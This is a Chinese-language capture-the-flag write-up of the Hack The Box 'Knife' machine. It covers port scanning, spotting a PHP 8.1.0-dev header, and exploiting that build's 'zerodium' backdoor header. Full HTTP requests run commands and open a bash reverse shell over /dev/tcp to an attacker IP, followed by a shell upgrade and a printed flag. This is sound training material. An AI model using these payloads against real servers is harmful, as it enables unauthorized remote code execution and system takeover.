HTB Knife – 渗透测试详细报告
环境介绍
- 攻击者 IP: 10.10.16.16
- 目标靶机 IP: 10.10.10.242
渗透测试流程
1. 信息收集 - 渗透测试的本质就是信息收集
信息收集是渗透测试的基础,就像在解决一个复杂问题前需要了解问题的各个方面。我们需要尽可能多地了解目标系统,以找出潜在的弱点。
端口扫描 - 发现开放服务
首先,我们使用 Nmap 进行全端口快速扫描。这里的参数含义如下:
-sT
:使用完整的 TCP 连接扫描-min-rate 15000
:设置最小发包速率,加快扫描速度-p-
:扫描所有 65535 个端口
nmap -sT -min-rate 15000 -p- 10.10.10.242
扫描结果显示仅有两个开放端口:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
这告诉我们目标系统运行着 SSH 服务(用于远程登录)和 HTTP 服务(Web 服务器)。这是一个典型的服务器配置,通常 Web 服务器提供了最多的攻击面。
随后对这两个端口进行详细的服务探测:
-sC
:使用默认的脚本集合进行扫描-sV
:探测服务版本信息-O
:尝试识别操作系统
nmap -sT -sC -sV -O -p22,80 10.10.10.242
详细扫描结果如下:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
从这些结果中,我们得到了一些重要信息:
- 目标服务器运行 Ubuntu Linux
- SSH 版本是 OpenSSH 8.2p1
- Web 服务器是 Apache 2.4.41
- 网页标题是 "Emergent Medical Idea"
这些信息有助于我们确定可能的漏洞和攻击向量。例如,特定版本的服务可能存在已知的安全漏洞。
2. Web服务探测 - 深入分析 HTTP 服务
Web 服务通常是最常见的攻击入口点,因为它们需要与外部用户交互,可能包含各种漏洞。
访问目标的 HTTP 服务 (80端口),发现一个简单的静态网页,没有可交互的元素。这种情况下,我们需要更深入地检查服务器配置和响应。
尝试访问一些常见路径(如 /reboot.txt
)均返回 404 错误,表明没有找到明显的隐藏内容。
进一步检查 HTTP 响应头,这一步非常关键,因为响应头通常会泄露服务器的配置信息:
HTTP/1.1 200 OK
Date: Wed, 02 Apr 2025 07:45:38 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 2406
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
从响应头中,我们找到了一个重要线索:X-Powered-By: PHP/8.1.0-dev
。这表明服务器使用的是 PHP 开发版本,而不是稳定版本。开发版本通常不应该用于生产环境,因为它们可能包含未修复的漏洞或调试功能。
服务器配置总结:
- Web服务器:Apache/2.4.41 (Ubuntu)
- PHP版本:PHP/8.1.0-dev(开发版本!)
3. 漏洞识别与利用 - 发现 PHP 后门
漏洞研究是一个需要耐心和知识的过程。在实际渗透测试中,我们会查询安全数据库,搜索已知的漏洞信息。
通过研究,我们发现 PHP 8.1.0-dev 版本存在一个严重的安全漏洞。2021年3月28日,有人在这个版本的 PHP 源代码中植入了一个后门。虽然这个后门很快被发现并清除,但已经被编译到一些 PHP 构建版本中。
这个后门的工作原理很简单但非常危险:攻击者可以通过发送特殊的 HTTP 头 User-Agentt
(注意是双 t,这是故意的拼写错误,为了避免被常规检查发现)来执行任意 PHP 代码。格式为 User-Agentt: zerodium<PHP代码>;
,其中 "zerodium" 是触发后门的特定字符串。
漏洞验证
使用 Burp Suite 这类 HTTP 代理工具拦截请求,添加恶意 User-Agentt
头来执行系统命令:
GET / HTTP/1.1
Host: 10.10.10.242
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
User-Agentt: zerodiumsystem("whoami");
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
这段代码中,我们使用了 system("whoami")
这个 PHP 函数来执行系统命令 whoami
,该命令会显示当前运行进程的用户名。
服务器返回结果显示当前 PHP 进程是以用户 james
的身份运行的。这告诉我们:
- 漏洞确实存在
- 我们已经能够执行系统命令
- Web 服务以
james
用户权限运行
4. 获取反向 Shell - 建立持久连接
确认漏洞存在后,下一步是获取一个完整的反向 Shell,这样我们就能够更方便地与目标系统交互。反向 Shell 的原理是让目标机器主动连接到攻击者的机器,从而绕过防火墙的限制(当然这里肯定没有防火墙,而且现在的防火墙可以监测外联)。
首先在攻击机上启动 Netcat 监听,等待连接:
nc -lvnp 9999
参数解释:
-l
: 监听模式-v
: 详细输出-n
: 禁用 DNS 解析-p 9999
: 在端口 9999 上监听
然后通过之前发现的 PHP 漏洞执行反向 Shell 命令:
GET / HTTP/1.1
Host: 10.10.10.242
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/10.10.16.16/9999 0>&1'");
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
这段命令的解释:
bash -c
表示执行 bash 命令exec bash -i >& /dev/tcp/10.10.16.16/9999 0>&1
是一个复杂的 bash 命令:bash -i
启动一个交互式 bash shell>& /dev/tcp/10.10.16.16/9999
将输出重定向到 TCP 连接0>&1
将标准输入也重定向到同一连接- 整体效果是将 bash 的输入和输出都连接到攻击者的 IP 和端口
成功GetShell 后,getkey1:
cd /home/james
cat user.txt
# 输出: 6736cc8ee09d200639eeab8ee412c494
5. Shell 升级 - 改善交互性能
初次获取的 Shell 通常功能有限,不支持命令历史、自动补全、清屏等功能,这会使进一步操作变得困难。为了获得更稳定和功能完善的交互式 Shell,我们可以进行升级。
这个过程涉及几个步骤,让我们理解每一步的目的:
- 首先检查目标系统上可用的 Python 版本:
which python python2 python3
# 输出: /usr/bin/python3
- 使用 Python 的
pty
模块获取完整的 TTY(Teletype)终端:
/usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")';
这行代码使用 Python 创建一个新的伪终端,运行 /bin/bash
。
- 设置必要的环境变量,使终端更实用:
export SHELL=bash
export TERM=xterm-256color
这里设置了 shell 类型和终端类型,启用颜色和更多终端功能。
- 按
Ctrl+Z
将 Shell 置于后台,回到本地终端 在本地终端配置 TTY 设置:
stty raw -echo;fg
这一步配置本地终端不处理特殊字符(raw 模式)并禁用本地回显,然后将后台任务带回前台(fg)。
Comments NOTHING